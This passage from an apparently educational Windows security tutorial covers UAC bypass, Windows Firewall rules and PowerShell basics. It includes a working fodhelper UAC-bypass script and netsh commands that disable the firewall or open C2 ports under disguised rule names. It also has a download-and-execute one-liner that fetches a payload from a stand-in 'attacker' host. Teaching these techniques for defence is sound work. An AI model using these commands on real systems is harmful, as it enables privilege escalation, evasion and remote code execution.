  8.4 UAC Bypass Techniques
&lt;/h3&gt;

&lt;p&gt;UAC is not a security boundary — Microsoft explicitly states this. It is a convenience feature. A determined attacker with code execution as a standard admin can bypass UAC.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Auto-elevation — The Design Quirk:&lt;/strong&gt;&lt;br&gt;
Some Windows executables are explicitly marked to auto-elevate without a UAC prompt. These are signed Microsoft executables in trusted locations. If an attacker can make one of these auto-elevating executables load their malicious code, they get elevation without a prompt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DLL Hijacking for UAC Bypass:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Find an auto-elevating executable that loads a DLL from a user-writable location
2. Place malicious DLL in that location
3. Trigger the auto-elevating executable
4. DLL loads with elevated privileges, no UAC prompt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examples of historic UAC bypasses using this technique:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;eventvwr.exe bypass&lt;/strong&gt; — eventvwr.exe auto-elevates and reads a registry key the user controls; attacker redirects it to launch a custom executable&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;fodhelper.exe bypass&lt;/strong&gt; — fodhelper.exe reads shell open commands from HKCU (user-writable) and launches them elevated&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;sdclt.exe bypass&lt;/strong&gt; — similar mechanism
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# fodhelper UAC bypass (educational, common in CTFs and real pentest assessments)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;New-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\Software\Classes\ms-settings\shell\open\command"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\Software\Classes\ms-settings\shell\open\command"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"(Default)"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cmd.exe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\Software\Classes\ms-settings\shell\open\command"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"DelegateExecute"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Start-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Windows\System32\fodhelper.exe"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Result: cmd.exe opens with High integrity (elevated) without UAC prompt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Cleanup:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Remove-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\Software\Classes\ms-settings\"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Mindset:&lt;/strong&gt; UAC bypass techniques are some of the most commonly tested in CTFs and OSCP-style exams. Understanding WHY they work (auto-elevation + user-writable registry/file paths) is more important than memorising specific techniques, because new bypasses are discovered regularly.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Windows Firewall
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 Windows Firewall Architecture
&lt;/h3&gt;

&lt;p&gt;Windows Firewall (officially &lt;strong&gt;Windows Defender Firewall with Advanced Security&lt;/strong&gt;) is a host-based, stateful firewall built into Windows. Unlike network perimeter firewalls, it runs on the endpoint itself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Inbound Traffic → [Network Interface] → Windows Filtering Platform (WFP)
                                              ↓
                                    [Firewall Rules Engine]
                                              ↓
                               Allow? → Application receives data
                               Block? → Traffic dropped, optionally logged
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Windows Filtering Platform (WFP):&lt;/strong&gt;&lt;br&gt;
WFP is the kernel-mode architecture underlying Windows Firewall and all third-party firewall/VPN/network security products on Windows. Any product that filters network traffic on Windows uses WFP callout drivers. Understanding WFP is essential for understanding how Windows network security products work — and how they can be bypassed.&lt;/p&gt;
&lt;h3&gt;
  
  
  9.2 Profiles
&lt;/h3&gt;

&lt;p&gt;Windows Firewall operates with three network profiles applied based on the detected network type:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Profile&lt;/th&gt;
&lt;th&gt;Applied When&lt;/th&gt;
&lt;th&gt;Default Posture&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Domain&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Machine joined to a domain and domain controller detected&lt;/td&gt;
&lt;td&gt;More permissive (managed environment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Private&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Home or trusted network&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Public&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Untrusted network (coffee shop, airport)&lt;/td&gt;
&lt;td&gt;Most restrictive&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check firewall status for all profiles&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-NetFirewallProfile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Enabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DefaultInboundAction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DefaultOutboundAction&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Enable/Disable (use carefully)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-NetFirewallProfile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Profile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Public&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;True&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  9.3 Firewall Rules
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all enabled inbound rules&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-NetFirewallRule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Direction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Inbound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;True&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DisplayName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Action&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Profile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DisplayName&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Find rules that allow inbound connections&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-NetFirewallRule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Direction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Inbound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Allow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;True&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DisplayName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Profile&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Find rules for a specific port&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-NetFirewallRule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'True'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Get-NetFirewallPortFilter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;LocalPort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'3389'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;Get-NetFirewallRule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AssociatedNetFirewallPortFilter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DisplayName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Direction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Action&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Create a rule (example: allow RDP from specific IP only)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;New-NetFirewallRule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-DisplayName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow RDP from Management"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Direction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Inbound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Protocol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TCP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-LocalPort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;3389&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-RemoteAddress&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;192.168.1.100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Allow&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  9.4 Firewall Evasion and Manipulation
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Attackers routinely disable or modify Windows Firewall during post-exploitation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Disable firewall completely (requires admin)
netsh advfirewall set allprofiles state off

# Add a rule to allow a specific port (C2 communication)
netsh advfirewall firewall add rule name="Windows Update" dir=in action=allow protocol=TCP localport=4444

# Open a port for a specific program
netsh advfirewall firewall add rule name="Updater" dir=in action=allow program="C:\malware.exe"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Detection:&lt;/strong&gt; These commands generate Windows Event Log entries:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 2004&lt;/strong&gt; (Security) — Rule added to Windows Firewall&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 2005&lt;/strong&gt; (Security) — Rule modified&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 2006&lt;/strong&gt; (Security) — Rule deleted&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 2033&lt;/strong&gt; (Security) — All rules deleted&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Windows Firewall Bypass via Allowed Applications:&lt;/strong&gt;&lt;br&gt;
Every application that you install that needs inbound connections adds a firewall exception. Malware often adds itself using the name of a legitimate application:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;netsh advfirewall firewall add rule name="Google Chrome" dir=in action=allow program="C:\Users\user\AppData\Local\evil.exe"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. PowerShell Fundamentals
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 Why PowerShell Matters More Than Anything Else in Windows Security
&lt;/h3&gt;

&lt;p&gt;PowerShell is not just a scripting language. It is the most powerful administration interface in Windows, providing direct access to .NET, COM objects, WMI, the registry, Active Directory, and virtually every Windows subsystem. It is the preferred tool of both administrators and attackers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The "Living off the Land" reality:&lt;/strong&gt; Attackers prefer PowerShell because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It is present on every modern Windows system&lt;/li&gt;
&lt;li&gt;It can be used without writing files to disk (in-memory execution)&lt;/li&gt;
&lt;li&gt;It can download and execute payloads directly from the internet&lt;/li&gt;
&lt;li&gt;It has deep access to every Windows subsystem&lt;/li&gt;
&lt;li&gt;Historically it could evade antivirus tools&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  10.2 PowerShell Execution Policy
&lt;/h3&gt;

&lt;p&gt;Execution policy controls whether PowerShell will run scripts. It is commonly misunderstood as a security feature — it is not. It is an administrative guardrail.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check current execution policy&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ExecutionPolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-List&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Policies (least to most restrictive):&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Unrestricted  — Run anything&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Bypass        — Nothing is blocked, no warnings&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# RemoteSigned  — Local scripts OK, downloaded scripts need signature&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# AllSigned     — All scripts must be signed&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Restricted    — No scripts allowed (default on consumer Windows)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Undefined     — No policy set for this scope&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Bypass execution policy (does NOT require admin — this is by design)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;powershell.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ExecutionPolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Bypass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;script.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;powershell.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ExecutionPolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Bypass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Execution policy is not a security control&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# It can be bypassed in at least 15 different ways&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 Core PowerShell Concepts for Security Work
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Pipeline — The Fundamental Design:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# PowerShell passes objects through the pipeline, not text&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# This is fundamentally different from bash&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CPU&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-gt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CPU&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Descending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CPU&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Each stage receives full .NET objects, not strings&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# This makes filtering and manipulation far more powerful and accurate than bash text parsing&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Essential Cmdlets for Security Work:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Process and service investigation&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get-Service&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Process&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# More details than Get-Process&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Network investigation&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-NetTCPConnection&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c"&gt;# Active TCP connections&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-NetUDPEndpoint&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c"&gt;# UDP endpoints&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Test-NetConnection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ComputerName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;445&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Port test&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# File system&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# List everything including hidden&lt;/span&gt;&lt;span class="w"&gt;
